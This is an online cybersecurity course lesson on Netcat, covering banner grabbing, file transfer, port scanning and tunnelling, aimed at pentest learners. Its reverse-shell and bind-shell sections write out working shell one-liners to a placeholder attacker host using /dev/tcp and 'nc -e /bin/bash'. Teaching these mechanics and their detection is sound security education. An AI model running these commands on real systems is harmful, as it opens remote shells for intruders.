Cyber Security Academy · Lesson

Netcat: The Swiss Army Knife

Use nc for banners, file transfer, port forwarding, and simple reverse shells.

Netcat: The Swiss Army Knife is a free Cyber Security Academy lesson on CoddyKit — lesson 3 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cyber Security Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

What is Netcat?

Netcat (nc) is a utility that reads and writes data across network connections using TCP or UDP. It is installed on nearly every Unix system and is invaluable for debugging, file transfer, and basic exploitation.

Basic Connection and Banner Grabbing

Connect to any TCP port to grab the service banner and manually interact with the protocol. This is the simplest form of recon.

# Connect to port 80
nc 192.168.1.100 80
GET / HTTP/1.0
[Enter twice]

# Connect to SMTP
nc mail.example.com 25
# Returns: 220 mail.example.com ESMTP

Listening on a Port

Netcat can listen for incoming connections with -l -p. This is useful for testing connectivity, catching reverse shells, and receiving files.

# Listen on port 4444
nc -lvnp 4444

# -l listen
# -v verbose
# -n no DNS resolution
# -p port number

File Transfer with Netcat

Netcat can send files by piping them into a connection. The receiver listens and redirects output to a file. No encryption — use only on trusted networks.

# Receiver (runs first):
nc -lvnp 4444 > received_file.txt

# Sender:
nc 192.168.1.10 4444 < file_to_send.txt

Port Scanning with Netcat

Netcat can do basic port scanning with -z (zero I/O mode) and -w (timeout). Slower than Nmap but useful when Nmap is unavailable.

# Scan ports 20-80
nc -zv 192.168.1.100 20-80 2>&1 | grep succeeded

# With timeout:
nc -zvw2 192.168.1.100 22 80 443

Simple Reverse Shell

A reverse shell makes the target connect back to the attacker. Useful in penetration tests when firewall rules block inbound connections to the target.

# Attacker listens:
nc -lvnp 4444

# Target executes (bash):
bash -i >& /dev/tcp/attacker_ip/4444 0>&1

# Or via nc:
nc attacker_ip 4444 -e /bin/bash

Bind Shell

A bind shell listens on the target machine. The attacker connects to it. Less common in modern pentests since firewalls usually block inbound connections.

# On target: listen and serve a shell
nc -lvnp 5555 -e /bin/bash

# On attacker: connect
nc target_ip 5555

UDP Mode

Use -u for UDP connections. Useful for testing UDP services like DNS (port 53) and SNMP (port 161).

# Test DNS over UDP
nc -u 8.8.8.8 53

# Test SNMP
nc -u 192.168.1.1 161

Proxying with Netcat

Netcat can chain connections to pivot through networks. Combined with named pipes (mkfifo), it creates simple two-way tunnels without additional tools.

mkfifo /tmp/pipe
nc -lvnp 4445 < /tmp/pipe | nc internal_host 80 > /tmp/pipe

Ncat: The Modern Alternative

Ncat (part of Nmap) extends Netcat with SSL support (--ssl), access control, and broker mode. Prefer Ncat for encrypted channels.

# SSL listener
ncat --ssl -lvnp 4444

# SSL connect
ncat --ssl target_ip 4444

Defenders: Detecting Netcat

Netcat connections look like normal TCP. Defenders detect it via process name monitoring (HIDS), unusual outbound ports, and shell spawned from unexpected parent processes.

Quick Check

Which Netcat flag enables listen mode?

Summary: Netcat

Netcat is a fundamental tool: use it for banner grabbing, file transfer, connectivity testing, and understanding reverse/bind shell mechanics. In authorized pentests it validates firewall rules and simulates attacker pivoting. Know it well — both to use it and to detect it.

Frequently asked questions

Is the “Netcat: The Swiss Army Knife” lesson free?

Yes — the full text of “Netcat: The Swiss Army Knife” is free to read here on the web, and the Cyber Security Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cyber Security Academy course, upgrade to CoddyKit PRO.

What will I learn in “Netcat: The Swiss Army Knife”?

Use nc for banners, file transfer, port forwarding, and simple reverse shells. You practise Cyber Security Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start Cyber Security Academy?

No prior experience is required. Cyber Security Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 3 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “Netcat: The Swiss Army Knife” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this Cyber Security Academy lesson?

Yes. Every Cyber Security Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

← Back to Cyber Security Academy